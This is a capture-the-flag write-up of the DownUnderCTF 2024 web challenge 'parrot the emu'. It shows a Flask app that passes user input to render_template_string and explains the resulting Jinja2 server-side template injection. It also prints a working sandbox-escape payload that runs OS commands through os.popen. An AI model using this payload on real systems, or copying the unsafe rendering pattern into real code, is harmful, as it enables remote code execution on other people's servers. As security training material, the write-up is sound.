siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

parrot the emu

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Background

It is so nice to hear Parrot the Emu talk back

Author: richighimi

https://web-parrot-the-emu-4c2d0c693847.2024.ductf.dev

Enumeration

Index page:

In here, we can talk to the Emu named “Parrot” by submitting something?

Let’s try to submit a random text:

Hmm… It seems like we can chat with the Emu, and it’ll repeat the same thing that we just submitted?

Burp Suite HTTP history:

When we click the “Submit” button, it’ll send a POST request to / with parameter user_input.

There’s no much we can do in here. Let’s read this web application’s source code!

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/DownUnderCTF-2024/web/parrot-the-emu)-[2024.07.08|15:11:40(HKT)]
└> file parrot-the-emu.zip 
parrot-the-emu.zip: Zip archive data, at least v1.0 to extract, compression method=store
┌[siunam♥Mercury]-(~/ctf/DownUnderCTF-2024/web/parrot-the-emu)-[2024.07.08|15:11:41(HKT)]
└> unzip parrot-the-emu.zip 
Archive:  parrot-the-emu.zip
   creating: parrot-the-emu/
   creating: parrot-the-emu/main-app/
   creating: parrot-the-emu/main-app/static/
   creating: parrot-the-emu/main-app/static/css/
  inflating: parrot-the-emu/main-app/static/css/styles.css  
   creating: parrot-the-emu/main-app/templates/
  inflating: parrot-the-emu/main-app/templates/index.html  
 extracting: parrot-the-emu/main-app/flag  
  inflating: parrot-the-emu/main-app/app.py  
 extracting: parrot-the-emu/main-app/requirements.txt  

After reviewing this application’s source code, we have the following findings:

  1. The main logic of this web application is parrot-the-emu/main-app/app.py, which uses the Flask Python web application framework and Jinja2 rendering template engine.
  2. The flag file is at parrot-the-emu/main-app/flag. However, there’s no routes (endpoints) to read the flag file’s content.

Now, let’s dive into the main logic, parrot-the-emu/main-app/app.py!

from flask import Flask, render_template, request, render_template_string

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def vulnerable():
    chat_log = []

    if request.method == 'POST':
        user_input = request.form.get('user_input')
        try:
            result = render_template_string(user_input)
        except Exception as e:
            result = str(e)

        chat_log.append(('User', user_input))
        chat_log.append(('Emu', result))
    
    return render_template('index.html', chat_log=chat_log)

if __name__ == '__main__':
    app.run(debug=True, port=80)

In here, we can see that this web application only has 1 route at /.

When we send a GET request to /, it’ll render the index.html template with a variable called chat_log.

When we send a POST request to /, our user_input parameter’s value will be rendered by the Jinja template engine (Function render_template_string).

Let’s take a look at the template at parrot-the-emu/main-app/templates/index.html!

[...]
    <div class="container">
        <h1>Talk to our Emu named Parrot?</h1>
        <div class="chat-log">
            {% for speaker, message in chat_log %}
                <div class="message {% if speaker == 'User' %}user-message{% else %}emu-message{% endif %}">
                    <div class="speaker-label">{{ speaker }}</div>
                    <div class="message-text">{{ message }}</div>
                </div>
            {% endfor %}
        </div>
        <form method="POST">
            <label for="user_input">Enter something:</label>
            <input type="text" id="user_input" name="user_input">
            <button type="submit">Submit</button>
        </form>
    </div>
[...]

In Jinja template engine, it uses {{ }} template literal to render the dynamic content on the server-side. So in this index.html template, it uses Jinja’s for loop syntax to loop over the chat_log set and render the set’s values.

Hmm… Since there’s no sanitization to sanitize our user_input, we can use the Jinja template engine’s template literal to render whatever we want on the server-side!

This type of vulnerability is called “Server-Side Template Injection”, or SSTI.

Exploitation

To proof we can exploit this SSTI vulnerability on the web application, we can send the following POST request to / with parameter user_input value {{ 7*7 }}:

Nice! Our user input $7 * 7$ gets rendered by the Jinja template engine, which is $49$!

But… How can we read the flag file’s content?

In SSTI vulnerability, usually we can achieve Remote Code Execution (RCE).

To do so, we need to find a way to escape from the sandbox and recover access the regular Python execution flow by abusing Python’s objects that are from the non-sandboxed environment but are accessible from the sandbox.

Note: More details about Jinja2 SSTI RCE can be read in this HackTricks link: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.

One of those RCE payloads is this:

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}

As you can see, it escapes the sandbox and imports module os, and execute ls OS command via the popen method.

Let’s try it!

Nice! It worked! Let’s read the flag file’s content by using OS command cat flag!

Conclusion

What we’ve learned:

  1. Server-Side Template Injection (SSTI) in Jinja